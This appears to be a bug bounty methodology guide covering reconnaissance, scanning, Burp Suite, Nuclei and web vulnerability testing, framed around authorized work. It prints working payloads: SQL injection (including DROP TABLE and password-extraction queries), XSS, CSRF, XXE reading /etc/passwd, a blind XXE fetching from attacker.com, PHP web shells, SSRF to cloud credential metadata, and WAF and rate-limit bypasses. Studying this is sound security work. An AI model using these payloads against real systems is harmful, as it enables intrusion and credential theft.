The Complete Bug Bounty Hunting Guide

Comprehensive Methodology, Commands & Techniques for 2025

Table of Contents

Introduction

Bug bounty hunting is a systematic approach to finding security vulnerabilities in web applications, APIs, and infrastructure. Success requires a combination of technical skills, methodology, persistence, and proper documentation. This guide covers the essential techniques, tools, and commands you need to conduct professional security testing.

What is Bug Bounty Hunting?

Bug bounty hunting involves authorized testing of applications to find security vulnerabilities before malicious actors can exploit them. Organizations reward researchers for discovering and responsibly disclosing vulnerabilities through their bug bounty programs.

Key Principles

- **Authorization First**: Always ensure you have written permission to test
- **Scope Matters**: Test only within the defined scope of the program
- **Documentation**: Keep detailed records of your testing process

- **Responsible Disclosure**: Follow the program's disclosure policy
- **Professional Communication**: Maintain professionalism in all interactions

---

Reconnaissance & Information Gathering

Reconnaissance is the foundation of any successful security assessment. This phase involves collecting as much information as possible about your target without directly attacking it.

Passive vs. Active Reconnaissance

Passive Reconnaissance: Gathering information without directly interacting with the target. Uses public databases, search engines, and OSINT sources.

Active Reconnaissance: Direct interaction with target systems. This generates logs and is more detectable but provides more current information.

Key Reconnaissance Techniques

1. WHOIS & DNS Lookups

```
# WHOIS information
whois example.com

# DNS records
dig example.com
dig example.com @8.8.8.8
nslookup example.com
```

2. Search Engine Dorking

Google dorking uses advanced search operators to find sensitive information:

```
site:example.com filetype:pdf
site:example.com inurl:admin
site:example.com cache:
intitle:"index of" site:example.com
```

3. Certificate Transparency Logs

Find subdomains via SSL certificates:

```
# Using crt.sh
curl "https://crt.sh/?q=%.example.com&output=json" | jq

# Using certspotter.com
curl "https://api.certspotter.com/v1/issuances?domain=example.com&expand=dns_names"
```

4. GitHub Dorking

Find sensitive data and configuration files exposed on GitHub:

```
filename:config.php site:github.com
path:aws_keys site:github.com
org:company_name API_KEY site:github.com
```

OSINT Tools

- **theHarvester**: Email and subdomain harvesting
- **Shodan**: Search engine for internet-connected devices
- **Censys**: Internet search for hosts and certificates
- **SecurityTrails**: Domain intelligence and DNS history
- **Hunter.io**: Email address finder
- **Linkedin**: Employee reconnaissance

Subdomain Enumeration

Subdomain enumeration expands your attack surface by discovering all subdomains associated with a target domain.

Passive Subdomain Enumeration

Using Subfinder

Subfinder queries multiple public databases for passive subdomain discovery:

```
# Basic enumeration
subfinder -d example.com -o subdomains.txt

# JSON output
subfinder -d example.com -oJ subdomains.json

# Get all sources
subfinder -d example.com -cs
```

Using Amass

Amass combines OSINT with active techniques:

```
# Passive enumeration
amass enum -passive -d example.com -o subdomains.txt

# Active enumeration (with brute force)
amass enum -d example.com -brute -o subdomains.txt

# Verbose output
amass enum -d example.com -v
```

Using assetfinder

```
# Simple subdomain discovery
assetfinder example.com

# Include subdomains
assetfinder --subs-only example.com
```

Active Subdomain Enumeration

Subdomain Brute Forcing with Puredns

```
# Brute force subdomains
puredns brute wordlist.txt example.com

# Using massdns for speed
puredns brute wordlist.txt example.com -r resolvers.txt
```

Zone Transfer Attacks

```
# Attempt zone transfer
dig @dns.example.com example.com AXFR

# Using host command
host -l example.com ns1.example.com
```

Combining Results

```
# Merge and clean subdomain results
cat subfinder_results.txt amass_results.txt assetfinder_results.txt | sort -u > all_subdomains.txt

# Remove duplicates and sort
sort all_subdomains.txt | uniq > unique_subdomains.txt
```

Filtering Live Subdomains

```
# Using httpx to find live hosts
cat subdomains.txt | httpx -silent -status-code -title -tech-detect > live_subdomains.txt

# Using curl with grep
for subdomain in $(cat subdomains.txt); do
    curl -s -o /dev/null -w "%{http_code}" "http://$subdomain" && echo " - $subdomain"
done
```

Port Scanning & Service Discovery

Port scanning identifies open ports and running services on your target systems.

Nmap Fundamentals

Basic Scans

```
# SYN scan (requires root)
sudo nmap -sS -p- target.com

# TCP connect scan
nmap -sT -p- target.com

# Quick scan of common ports
nmap -sV -p 80,443,8080,3306 target.com

# Scan all ports with service detection
nmap -sV -p- target.com
```

Advanced Nmap

```
# Aggressive scan with OS detection
sudo nmap -A -sS -p- target.com

# Timing templates (T0-T5, faster = more aggressive)
sudo nmap -sS -p- -T4 target.com

# Version detection and script scanning
nmap -sV -sC -p- target.com

# Output formats
nmap -sV -p- -oN output.txt target.com
nmap -sV -p- -oX output.xml target.com
nmap -sV -p- -oG output.gnmap target.com
```

Service Fingerprinting

```
# Banner grabbing
nc -v target.com 80

# Using curl
curl -v http://target.com

# Using nmap scripts
nmap -p 443 --script ssl-cert target.com
nmap -p 443 --script ssl-enum-ciphers target.com
```

Passive Port Scanning with Shodan

```
# Using smap (Nmap wrapper for Shodan data)
smap -sV target.com

# Direct Shodan query
shodan search "hostname:example.com"
```

Masscan for Large-Scale Scanning

```
# Ultra-fast port scanning
masscan 192.168.1.0/24 -p 80,443,8080 --rate 10000

# Specific ports
masscan 192.168.0.0/16 -p 22,80,443 -oL results.txt
```

Web Crawling & Site Mapping

Understanding the complete structure of a web application is crucial for finding vulnerabilities.

Web Crawling Tools

Using Burp Suite

Burp's spider automatically crawls the application:

1. Set Burp as proxy in browser
2. Navigate application manually
3. Use Sitemap for visual structure
4. Target → Site Map shows all discovered endpoints

Using Zaproxy

```
# Passive scanning while browsing
zaproxy -config api.disablekey=true

# Spider specific URL
zaproxy -cmd -url http://example.com -spider
```

Wget for Website Downloading

```
# Mirror entire website
wget -r --no-parent -l inf http://example.com

# Convert links to local
wget -r -k http://example.com
```

Directory Brute Forcing

FFuf - Fuzz Faster U Fool

```
# Basic directory brute force
ffuf -u http://example.com/FUZZ -w wordlist.txt

# Filtering responses
ffuf -u http://example.com/FUZZ -w wordlist.txt -fc 404 -fs 0

# Recursive fuzzing
ffuf -u http://example.com/FUZZ -w wordlist.txt -recursion

# Response code and size filters
ffuf -u http://example.com/FUZZ -w wordlist.txt -mc 200,301
```

Dirbuster

```
# Command line usage
java -jar DirBuster-1.0-RC1.jar -u http://example.com -l wordlist.txt -r report.txt
```

Gobuster

```
# Directory brute force
gobuster dir -u http://example.com -w wordlist.txt

# Include status codes
gobuster dir -u http://example.com -w wordlist.txt -s 200,301,302

# DNS brute force
gobuster dns -d example.com -w wordlist.txt
```

Sitemap & Robots.txt

```
# Check robots.txt
curl http://example.com/robots.txt

# Check sitemap
curl http://example.com/sitemap.xml

# Check common XML endpoints
curl http://example.com/sitemap-index.xml
```

Vulnerability Types & Detection

OWASP Top 10 2024 Vulnerabilities

1. Broken Access Control

Failure to enforce user permissions, allowing unauthorized access.

Testing Approach:

- Change user IDs in URLs/parameters
- Test with lower-privileged accounts
- Try accessing resources across roles

2. Cryptographic Failures

Exposure of sensitive data through weak encryption or improper handling.

Testing Approach:

- Check for hardcoded secrets
- Verify HTTPS implementation
- Test password storage mechanisms

3. Injection

Injecting malicious code into application inputs (SQL, OS, LDAP).

Testing Approach:

- Test all input fields with special characters
- Use parameterized query verification
- Check error messages

4. Insecure Design

Fundamental design flaws preventing secure implementation.

Testing Approach:

- Review business logic workflows
- Test multi-step processes
- Check for missing authorization checks

5. Security Misconfiguration

Insecure default settings, incomplete configurations, exposed debugging.

Testing Approach:

- Check HTTP headers
- Test default credentials
- Look for debug information

6. Vulnerable & Outdated Components

Using components with known vulnerabilities.

Testing Approach:

- Identify technology stack
- Check for CVEs
- Test known exploits

7. Authentication Failures

Broken authentication mechanisms.

Testing Approach:

- Bypass login mechanisms
- Test session management
- Check password reset flows

8. Data Integrity Failures

Software fails to protect data integrity.

Testing Approach:

- Modify data in transit
- Check deserialization
- Test API signatures

9. Logging & Monitoring Failures

Insufficient logging of security events.

Testing Approach:

- Perform actions and check logs
- Test account takeover and verify logging

10. SSRF

Server-side request forgery attacks.

Testing Approach:

- Test URL parameters
- Try internal network access
- Attempt cloud metadata access

Burp Suite Essentials

Burp Suite is the industry-standard tool for web application security testing.

Burp Suite Community vs Professional

Community Edition (Free):

- Burp Proxy
- Burp Repeater
- Burp Decoder
- Burp Sequencer
- Burp Comparer
- Passive scanning only

Professional Edition:

- Active vulnerability scanning
- Burp Intruder (automated attacks)
- Burp Scanner (automated discovery)
- Collaboration features
- Save/restore projects

Essential Burp Features

1. Setting Up Proxy

```
# Configure browser to use Burp as proxy
# Proxy: 127.0.0.1
# Port: 8080

# Or use Burp as system proxy
# On Windows: Internet Options → Proxy
# On Mac: System Preferences → Network → Proxies
```

2. Using Burp Repeater

The Repeater tool allows manual request modification and testing:

1. Intercept request in Proxy
2. Right-click → Send to Repeater

3. Modify request parameters
4. Observe response differences

3. Using Burp Intruder

Automate repeated requests with payload variations:

```
1. Select request in Proxy/Repeater
2. Send to Intruder
3. Set payload positions with § symbols
4. Choose attack type (Sniper, Battering Ram, Pitchfork, Cluster Bomb)
5. Add payload list
6. Configure grep matching for results
7. Start attack
```

4. Using Burp Decoder

Decode and encode data in various formats:

- URL encoding
- HTML encoding
- Base64
- Hex
- ROT13
- MD5 hashing
- SHA hashing

5. Using Burp Sequencer

Analyze token randomness:

1. Capture authentication token in Proxy
2. Send to Sequencer
3. Start live capture
4. Let it run while application generates tokens
5. Analyze randomness entropy

Burp Scanner Usage

For Professional edition users:

1. Define scope in Target settings
2. Start scan from Scope
3. Choose Active, Passive, or Crawl + Audit
4. Monitor scan progress
5. Review findings with vulnerability details

Burp Extensions

Essential Community extensions:

- **Logger++**: Enhanced request/response logging
- **Autorize**: Test authorization across roles
- **AuthMatrix**: Test access control
- **Evil-Dude**: Hide Burp Proxy
- **Bypass WAF**: WAF bypass techniques
- **Additional Burp**: Extra analysis tools

Nuclei Templates & Automation

Nuclei is a powerful vulnerability scanner using YAML-based templates for detecting vulnerabilities at scale.

Installing Nuclei

```
# Using Go
go install github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest

# Using package managers
brew install nuclei  # macOS
apt install nuclei   # Linux

# Or download binary from GitHub releases
```

Basic Nuclei Usage

```
# Single URL scan with all templates
nuclei -u http://example.com

# Scan multiple URLs
nuclei -l urls.txt

# Scan with specific templates
nuclei -u http://example.com -t templates/cves/

# Scan with severity filter
nuclei -u http://example.com -severity critical,high

# Output results
nuclei -u http://example.com -o results.txt
nuclei -u http://example.com -oJ results.json

# Rate limiting
nuclei -u http://example.com -rate-limit 100
```

Common Nuclei Templates

```
# Subdomain takeover detection
nuclei -l subdomains.txt -t cves/subdomain-takeover

# Known CVE detection
nuclei -u http://example.com -t cves/

# Security misconfiguration
nuclei -u http://example.com -t misconfigurations/

# Default credentials
nuclei -u http://example.com -t http/default-credentials

# Exposed files and panels
nuclei -u http://example.com -t exposed-panels/

# All CVEs and vulnerabilities
nuclei -u http://example.com -t cves/ -t vulnerabilities/
```

Creating Custom Nuclei Templates

Nuclei templates are YAML files defining vulnerability detection logic:

```
id: my-custom-template
info:
  name: Custom SQL Injection Detection
  author: Your Name
  severity: high
  description: Custom SQL injection vulnerability detection

requests:
  - method: GET
    path:
      - "{{ BaseURL }}/search?q=test'"
    matchers:
      - type: word
        words:
          - "SQL syntax error"
          - "mysql_fetch_array()"
          - "You have an error in your SQL syntax"
    extractors:
      - type: regex
        regex:
          - "SQL.*error.*line.*(\d+)"
```

Save as `.yaml` and run:

```
nuclei -u http://example.com -t my-custom-template.yaml
```

Automation Workflows

Automated Recon Pipeline:

```
#!/bin/bash

TARGET=$1
WORDLIST="/path/to/wordlist.txt"

echo "[*] Starting reconnaissance for $TARGET"

# Subdomain enumeration
echo "[*] Enumerating subdomains..."
subfinder -d $TARGET -o subdomains.txt
amass enum -passive -d $TARGET -o amass_subs.txt
cat subdomains.txt amass_subs.txt | sort -u > all_subs.txt

# Probe live hosts
echo "[*] Probing live hosts..."
cat all_subs.txt | httpx -silent -status-code > live_subs.txt

# Scan with Nuclei
echo "[*] Running Nuclei scans..."
nuclei -l live_subs.txt -t cves/subdomain-takeover -o nuclei_results.txt

# Directory fuzzing
echo "[*] Running directory fuzzing..."
while read sub; do
    ffuf -u "http://$sub/FUZZ" -w $WORDLIST -o ffuf_$sub.json 2>/dev/null &
done < live_subs.txt

echo "[*] Reconnaissance complete!"
```

Linux Command-Line Tools

Master these essential Linux commands for data processing and reconnaissance.

1. Grep - Pattern Searching

Grep searches for text patterns across files:

```
# Basic search
grep "error" logfile.txt

# Case-insensitive search
grep -i "error" logfile.txt

# Recursive search in directory
grep -r "password" /var/www/

# Show line numbers
grep -n "error" logfile.txt

# Count matches
grep -c "error" logfile.txt

# Show context (3 lines before and after)
grep -C 3 "error" logfile.txt

# Regular expression search
grep -E "(ERROR|WARN)" logfile.txt

# Invert match (show non-matching lines)
grep -v "debug" logfile.txt

# Find in recon data
grep "admin" subdomains.txt
grep -E "\.php$" ffuf_results.txt
```

2. Cut - Field Extraction

Cut extracts specific columns from text:

```
# Extract 2nd field (delimiter: space)
cut -d' ' -f2 file.txt

# Extract multiple fields
cut -d',' -f1,3,5 data.csv

# Extract columns 1-5
cut -c1-5 file.txt

# Using tab as delimiter (default)
cut -f1,2 file.txt

# Extract URLs from scanning results
cut -d',' -f1 scan_results.csv
```

3. Awk - Text Processing & Analysis

Awk is powerful for text manipulation and analysis:

```
# Print specific fields
awk '{print $1}' file.txt

# Filter rows
awk '$3 > 100 {print $0}' data.txt

# Sum values
awk '{sum += $1} END {print sum}' numbers.txt

# Extract unique values
awk '!seen[$1]++' duplicates.txt

# Parse URLs from logs
awk '{print $7}' access.log | sort -u

# Count occurrences
awk '{count[$1]++} END {for (word in count) print word, count[word]}' words.txt

# Multi-delimiter parsing
awk -F'[:,]' '{print $2}' config.txt
```

4. Sed - Stream Editing

Sed performs text transformations:

```
# Replace first occurrence
sed 's/old/new/' file.txt

# Replace all occurrences
sed 's/old/new/g' file.txt

# Case-insensitive replacement
sed 's/old/new/gi' file.txt

# Delete lines
sed '/pattern/d' file.txt

# Print specific lines
sed -n '5,10p' file.txt

# Extract regex matches
sed -n 's/.*href="\([^"]*\)".*/\1/p' html.txt

# In-place editing
sed -i 's/old/new/g' file.txt
```

5. Sort & Uniq - Ordering & Deduplication

```
# Sort lines
sort file.txt

# Sort numerically
sort -n numbers.txt

# Reverse sort
sort -r file.txt

# Remove duplicates
sort file.txt | uniq

# Count occurrences
sort file.txt | uniq -c

# Sort by count
sort file.txt | uniq -c | sort -rn

# Find duplicates only
sort file.txt | uniq -d
```

6. Piping Commands Together

Combine commands for powerful workflows:

```
# Extract URLs, sort, and remove duplicates
cat scan_results.txt | grep -o "http[^\"]*" | sort -u

# Find most common user agents
cat access.log | awk '{print $NF}' | sort | uniq -c | sort -rn

# Extract and parse domains
cat urls.txt | awk -F'/' '{print $3}' | sort -u

# Filter and transform data
cat data.csv | grep "admin" | awk -F',' '{print $1}' | sort -u

# Multi-step reconnaissance
cat domains.txt | while read domain; do
    dig +short $domain | grep -v ";" | sort -u
done > all_ips.txt
```

Authentication & Session Testing

Authentication vulnerabilities are among the most critical security issues.

Login Bypass Techniques

SQL Injection in Login Forms

```
Username: admin' OR '1'='1
Password: anything
```

Common SQL injection payloads:

```
admin'--
admin' #
admin'/*
' or 1=1--
' or 1=1 #
admin' or 'a'='a
```

Testing with Burp Intruder

1. Capture login request
2. Send to Intruder
3. Set username/password as payload positions
4. Use wordlists of common credentials
5. Filter for 302 redirects (successful logins)

Session Management Testing

Weak Session Tokens

```
# Capture multiple session cookies
# Analyze for patterns

# Test with cookie editor
# Modify session value
# Observe if application accepts it

# Check session entropy
# Sessions should be cryptographically random
```

Session Fixation

Test if application accepts pre-set session IDs:

```
1. Obtain session ID before login
2. Force victim to login with that session ID
3. Test if attacker can use same session after victim logs in
```

Session Hijacking

```
# Capture session cookies
# Test if cookies are transmitted over HTTPS
# Check for HttpOnly flag
# Check for Secure flag
```

Password Reset Flow Testing

```
1. Initiate password reset for your account
2. Check if reset token is predictable
3. Try brute-forcing reset token
4. Test if reset token expires
5. Check if CSRF protection is present
6. Try reset flow for other users
```

Rate Limit Bypass for Authentication

```
# Bypass via X-Forwarded-For header
curl -H "X-Forwarded-For: 127.0.0.1" http://example.com/login

# Rotate IPs in Burp Intruder
Add header → X-Forwarded-For: $VARIABLE_IP

# Use different user agents
-H "User-Agent: Mozilla/5.0..."

# Slow down requests
# Instead of 100 req/sec, try 1 req/sec

# Add null bytes or special characters
X-Forwarded-For: 127.0.0.1%00
X-Forwarded-For: 127.0.0.1%0d%0a
```

Multi-Factor Authentication (MFA) Bypass

```
1. Check if MFA can be disabled
2. Test if backup codes are brute-forceable
3. Try TOTP bypass (time-based OTP)
4. Check if MFA verification is properly implemented
5. Test race conditions during MFA verification
```

Access Control & IDOR Testing

Insecure Direct Object References (IDOR) and broken access control are prevalent vulnerabilities.

IDOR Vulnerability Testing

Horizontal Privilege Escalation

```
# Change user ID parameter
https://example.com/user/profile?user_id=123
# Try changing to:
https://example.com/user/profile?user_id=124
https://example.com/user/profile?user_id=125

# Test in JSON
{"user_id": 123}
# Change to:
{"user_id": 124}

# Test in different parameters
?id=123
?user_id=123
?uid=123
?account_id=123
```

Vertical Privilege Escalation

```
# Access higher-privileged endpoints as lower-privileged user
GET /admin/dashboard (as regular user)
GET /admin/users (as regular user)
GET /admin/settings (as regular user)

# Modify account roles
POST /api/user/update
{
  "user_id": 123,
  "role": "admin"
}
```

Burp Extensions for Access Control

- **AuthMatrix**: Compare responses across roles
- **AuthAnalyzer**: Automated access control testing
- **Autorize**: Test authorization while browsing

Using AuthMatrix:

```
1. Set up multiple session tokens (admin, user, guest)
2. Browse application normally
3. AuthMatrix intercepts requests
4. Replays requests with different tokens
5. Color-codes differences in responses
```

Testing with Different Roles

```
# Test workflow with different privileges
1. Admin account access
2. Regular user access
3. Guest account access
4. No account (unauthenticated)

# Compare responses
# Look for data leakage
# Check for functionality differences
```

Injection Vulnerabilities

SQL Injection Testing

Basic SQL Injection Detection

```
# Test for errors
'; DROP TABLE users; --
' OR '1'='1
' UNION SELECT NULL--
admin'--

# In Burp
1. Capture request
2. Send to Repeater
3. Add single quote to parameter
4. Observe for error messages
```

SQLi Exploitation Steps

```
# Identify injectable parameter
GET /products?id=1

# Determine number of columns
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--

# Extract data
' UNION SELECT table_name,column_name,3 FROM information_schema.columns--
' UNION SELECT user(),database(),3--
' UNION SELECT GROUP_CONCAT(password),2,3 FROM users--

# Blind SQL Injection
' AND 1=1--  (returns normal page)
' AND 1=2--  (returns error page)

# Boolean-based blind
' AND SUBSTRING(password,1,1)='a'--
' AND ORD(SUBSTRING(password,1,1))>97--

# Time-based blind
'; WAITFOR DELAY '00:00:05'--
'; SELECT SLEEP(5)--
```

Cross-Site Scripting (XSS)

Stored XSS Testing

```
<!-- In comment field -->
<script>alert('XSS')</script>

<!-- Image tag event handler -->
<img src=x onerror="alert('XSS')">

<!-- SVG vector -->
<svg onload="alert('XSS')">

<!-- Event handler in HTML -->
<body onload="alert('XSS')">

<!-- Encoded payload -->
<script>eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41))</script>
```

Reflected XSS Testing

```
# Test URL parameters
http://example.com/search?q=<script>alert('XSS')</script>

# In Burp Repeater
GET /search?q=<img src=x onerror="alert('XSS')">

# Check if output is reflected without encoding
# Look for unescaped user input in HTML
```

DOM-based XSS

```
// Vulnerable code example:
var userInput = document.getElementById('search').value;
document.getElementById('results').innerHTML = userInput;

// Attack:
<img src=x onerror="alert('XSS')">
```

CSRF (Cross-Site Request Forgery)

CSRF Testing

```
<!-- Craft forged request -->
<form action="http://vulnerable.com/change-email" method="POST">
    <input type="hidden" name="email" value="attacker@evil.com">
    <input type="hidden" name="confirm" value="yes">
</form>
<script>
    document.forms[0].submit();
</script>
```

Check for CSRF Protection

```
# Look for CSRF tokens in forms
# Verify token changes per session
# Test token validation

# Burp test:
1. Capture POST request
2. Remove CSRF token
3. Send request
4. If succeeds, CSRF vulnerability exists
```

XXE (XML External Entity) Injection

```
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY>
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>
```

XXE Blind Testing

```
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
  %dtd;
]>
<foo>test</foo>
```

File Upload Vulnerabilities

File upload features are common attack vectors for RCE and other vulnerabilities.

Unrestricted File Upload

Bypassing File Type Checks

```
# Client-side bypass (modify form in browser)
1. Right-click uploaded file in Burp
2. Modify filename extension
3. Change Content-Type header

# PHP shell examples
<?php system($_GET['cmd']); ?>
<?php shell_exec($_GET['cmd']); ?>
<?= system($_GET['cmd']); ?>
```

MIME Type Bypass

```
# Change Content-Type header
Content-Type: image/jpeg (but upload .php file)

# Double extension
shell.php.jpg
shell.jpg.php
shell.php%00.jpg

# Null byte injection
shell.php%00.jpg
shell.php;.jpg
```

Magic Number/File Signature Bypass

```
# Append PHP code to valid image
# JPEG header: FF D8 FF E0
# PNG header: 89 50 4E 47

# Create polyglot file
cat valid_image.jpg malicious.php > polyglot.jpg

# Using exiftool
exiftool -Comment="<?php system(\$_GET['cmd']); ?>" image.jpg
```

SSRF via File Upload

```
1. Upload file with path traversal
2. Upload URL pointing to internal services
3. Test with localhost/127.0.0.1 URLs
4. Try accessing internal APIs via upload
```

XML External Entity in File Upload

```
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>
```

SSRF & Business Logic

Server-Side Request Forgery

SSRF Testing Techniques

```
# Basic SSRF
http://example.com/fetch?url=http://127.0.0.1:8080

# Access internal services
http://example.com/fetch?url=http://internal-api.local/admin

# AWS metadata service
http://example.com/fetch?url=http://169.254.169.254/latest/meta-data/

# Bypass filters
http://127.0.0.1 → http://[::1]
http://127.0.0.1 → http://localhost
http://127.0.0.1 → http://0.0.0.0
http://127.0.0.1 → http://2130706433 (decimal IP)
http://127.0.0.1 → http://0177.0000.0000.0001 (octal IP)
```

SSRF with Protocol Handlers

```
file:// → Access local files
gopher:// → Legacy protocol abuse
dict:// → Dictionary service
ldap:// → LDAP injection
```

Business Logic Vulnerabilities

Testing Workflows

```
# Test multi-step processes
# Can you skip steps?
# Can you repeat steps?
# Can you reorder steps?

# Example: E-commerce checkout
1. Add to cart
2. Enter shipping
3. Enter payment
4. Confirm

# Try:
- Going directly to step 3
- Repeating step 2
- Modifying prices during checkout
```

Price Manipulation

```
# Modify item price in request
POST /checkout
{
  "item_id": 1,
  "price": 9.99  ← Change to 0.01
}

# Check for price validation
```

Discount Code Testing

```
# Try multiple discount codes
# Brute force code format

# Stack discounts
# Apply same discount twice
# Combine incompatible discounts
```

Cloud Security Testing

AWS S3 Bucket Testing

Check S3 Permissions

```
# List bucket contents
aws s3 ls s3://bucket-name --no-sign-request

# Get object
aws s3api get-object --bucket bucket-name --key file.txt ./output --no-sign-request

# Check ACL
aws s3api get-bucket-acl --bucket bucket-name

# List bucket policy
aws s3api get-bucket-policy --bucket bucket-name
```

Find S3 Buckets

```
# Brute force bucket names
for word in $(cat wordlist.txt); do
    aws s3 ls "s3://company-$word" --no-sign-request 2>/dev/null && echo "Found: company-$word"
done

# Using tools
s3scanner scan --bucket-file buckets.txt
bucket_finder.py wordlist.txt
```

AWS Metadata Service Exploitation

```
# Access metadata via SSRF
http://169.254.169.254/latest/meta-data/

# Retrieve credentials
http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Get secret key
http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name
```

Azure & GCP Testing

```
# Azure metadata
http://169.254.169.254/metadata/instance?api-version=2021-02-01

# GCP metadata
curl "http://metadata.google.internal/computeMetadata/v1/?recursive=true" \
  -H "Metadata-Flavor: Google"
```

Report Writing & Disclosure

Effective Bug Report Structure

Report Template

```
## Summary
[Brief 1-2 sentence description of vulnerability]

## Vulnerability Type
[CWE classification, OWASP category]

## Affected Component
[Specific feature/endpoint]

## Severity
[Critical/High/Medium/Low]

## Description
[Technical explanation of vulnerability]

## Proof of Concept
[Step-by-step reproduction]

## Impact
[Real-world impact of exploitation]

## Remediation
[Suggested fix]

## References
[OWASP, CWE, CVE links]
```

Impact Assessment

```
Critical Impact:
- Remote Code Execution
- Complete data breach
- Authentication bypass
- Unauthorized admin access

High Impact:
- Confidentiality loss
- Integrity compromise
- Privilege escalation

Medium Impact:
- Information disclosure
- Account hijacking
- Feature abuse

Low Impact:
- Minor data exposure
- Cosmetic issues
- Limited functionality impact
```

Proof of Concept Quality

Effective PoCs include:

1. **Screenshots**: Visual evidence
2. **Video recording**: Step-by-step exploitation
3. **Request/Response**: Burp intercept screenshots
4. **Explanation**: Clear technical explanation
5. **Impact demonstration**: Show what attacker can do

Responsible Disclosure

```
1. Find vulnerability
2. Document thoroughly
3. Report to security team
4. Wait for acknowledgment
5. Provide remediation timeline
6. Verify fix
7. Coordinate disclosure date
```

Disclosure Timeline

```
Day 1: Submit initial report
Day 3: Follow up if no response
Day 7: Escalate if needed
Day 30: Suggest public disclosure date
Day 90: Full disclosure if unresponsive
```

Advanced Topics

Rate Limit Bypass Techniques

```
# IP rotation
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1

# Special characters
X-Forwarded-For: 127.0.0.1%00
X-Forwarded-For: 127.0.0.1%0d%0a

# Slow requests
# Instead of 100 req/sec → 1 req/sec

# Different parameter values
# Same function, different parameters
```

WAF Bypass Techniques

```
# Encoding variations
SELECT → SeLeCt, seLECt, %53%45%4c%45%43%54

# Concatenation
SELECT → SE+LECT, SE LECT

# Comment insertion
S/**/ELECT, S--ELECT

# Alternative quotes
' → \', \"

# Case variation
<script> → <SCRIPT>, <ScRiPt>
```

API Testing

```
# Test API endpoints
curl -X GET http://example.com/api/users
curl -X POST http://example.com/api/users -d '{"name":"test"}'

# Check API versioning
/api/v1/users
/api/v2/users

# Test CORS misconfiguration
curl -H "Origin: http://evil.com" http://example.com/api

# Check for rate limiting on APIs
# Brute force API endpoints
```

Chaining Vulnerabilities

Often, multiple low-severity vulnerabilities can be chained for high impact:

```
Example chain:
1. Information disclosure → Get API endpoint
2. Broken access control → Access without auth
3. Data tampering → Modify other user's data
Result: Complete account takeover
```

Key Takeaways for Bug Bounty Hunters

1. **Be Methodical**: Follow a structured reconnaissance process
2. **Understand Technology**: Learn how applications work before testing
3. **Test Edge Cases**: Most bugs exist in unexpected workflows
4. **Document Everything**: Proper documentation earns higher bounties
5. **Stay Updated**: Security landscape changes constantly
6. **Practice Ethics**: Only test authorized systems
7. **Join Communities**: Learn from other hunters
8. **Automate Wisely**: Use tools but understand what they do
9. **Think Like Attacker**: Question every assumption
10. **Report Professionally**: Clear communication builds reputation

---

Useful Resources

Tools Mentioned

- Burp Suite
- Nmap
- Nuclei

- Subfinder
- Amass
- FFuf
- Gobuster
- curl/httpx
- Zaproxy

Learning Platforms

- HackTheBox
- TryHackMe
- OWASP WebGoat
- PortSwigger Web Security Academy

Communities

- HackerOne
- Bugcrowd
- Intigriti
- YesWeHack
- Synack

Conclusion

Bug bounty hunting is a rewarding career combining technical skills, creativity, and persistence. This guide provides the foundation, but continuous learning and practice are essential. Start with basic vulnerabilities, master reconnaissance, and gradually tackle complex logic flaws. Remember that each program and application is unique—adapt your methodology accordingly.

Good luck with your bug bounty journey, and happy hunting!

Last Updated: November 2025 **Created for**: Bug Bounty Hunters & Security Professionals **Total Pages**: 30+